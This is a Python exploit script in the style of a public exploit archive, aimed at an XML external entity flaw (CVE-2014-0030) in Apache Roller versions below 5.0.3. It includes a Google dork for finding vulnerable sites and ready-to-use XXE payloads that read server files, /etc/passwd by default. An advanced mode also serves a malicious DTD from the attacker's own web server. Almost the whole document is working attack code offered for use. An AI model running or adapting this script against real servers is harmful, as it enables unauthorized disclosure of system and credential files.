1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118 | # Exploit Title: Apache Roller 5.0.3 - XML External Entity Injection (File Disclosure)
# Google Dork: intext:"apache roller weblogger version {vulnerable_version_number}"
# Date: 2018-09-05
# Exploit Author: Marko Jokic
# Contact: http://twitter.com/_MarkoJokic
# Vendor Homepage: http://roller.apache.org/
# Software Link: http://archive.apache.org/dist/roller/
# Version: < 5.0.3
# Tested on: Linux Ubuntu 14.04.1
# CVE : CVE-2014-0030
# This exploit lets you read almost any file on a vulnerable server via XXE vulnerability.
# There are two types of payload this exploit is able to use, 'SIMPLE' & 'ADVANCED'.
# 'SIMPLE' payload will work in most cases and will be used by default, if
# server errors out, use 'ADVANCED' payload.
# 'ADVANCED' payload will start local web server and serve malicious XML which
# will be parsed by a target server.
# To successfully perform attack with 'ADVANCED' payload, make sure that port
# you listen on (--lport flag) is accessible out of the network.
#!/usr/bin/env python
import SimpleHTTPServer
import SocketServer
import argparse
import sys
import threading
from xml.etree import ElementTree
import urllib3
import requests
SIMPLE_PAYLOAD = """<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [ <!ELEMENT foo ANY>
<!ENTITY xxe SYSTEM "file://{}">]>
<methodCall>
<methodName>&xxe;</methodName>
</methodCall>
"""
ADVANCED_PAYLOAD = """<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ENTITY % start "<![CDATA[">
<!ENTITY % xxe SYSTEM "file://{}">
<!ENTITY % end "]]>">
<!ENTITY % dtd SYSTEM "{}">
%dtd;
]>
<methodCall>
<methodName>&all;</methodName>
</methodCall>
"""
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
class MyHandler(SimpleHTTPServer.SimpleHTTPRequestHandler):
def do_GET(self):
self.send_response(200)
self.send_header('Content-Type', 'text/html')
self.end_headers()
self.wfile.write('<!ENTITY all "%start;%xxe;%end;">')
def check_exploit(host):
response = requests.post(host + "/roller-services/xmlrpc", verify=False)
if response.status_code == 200:
return True
return False
def exploit(host, payload):
response = requests.post(host + "/roller-services/xmlrpc", data=payload, verify=False)
xml_tree = ElementTree.fromstring(response.text)
parsed_response = xml_tree.findall("fault/value/struct/member")[1][1].text
print parsed_response
def start_web_server(port):
handler = MyHandler
httpd = SocketServer.TCPServer(('', port), handler, False)
httpd.allow_reuse_address = True
httpd.server_bind()
httpd.server_activate()
httpd.handle_request()
httpd.shutdown()
def main():
parser = argparse.ArgumentParser()
parser.add_argument('-u', metavar="URL", dest="url", required=True, help="Target URL")
parser.add_argument('-f', metavar='FILE', dest="file", required=False, default="/etc/passwd", help="File to read from server")
parser.add_argument('--lhost', required='--rport' in sys.argv, help="Your IP address for http web server")
parser.add_argument('--lport', type=int, required='--rhost' in sys.argv, help="Port for web server to listen on")
args = parser.parse_args()
host = args.url
full_file_path = args.file
advanced = False
lhost = args.lhost
lport = args.lport
if lport is not None and lport is not None:
advanced = True
check = check_exploit(host)
if check:
if advanced:
th = threading.Thread(target=start_web_server, args=(lport,))
th.daemon = True
th.start()
payload = ADVANCED_PAYLOAD.format(full_file_path, "http://{}:{}".format(lhost, lport))
else:
payload = SIMPLE_PAYLOAD.format(full_file_path)
exploit(host, payload)
else:
print "[-] TARGET IS NOT VULNERABLE!"
main()
|
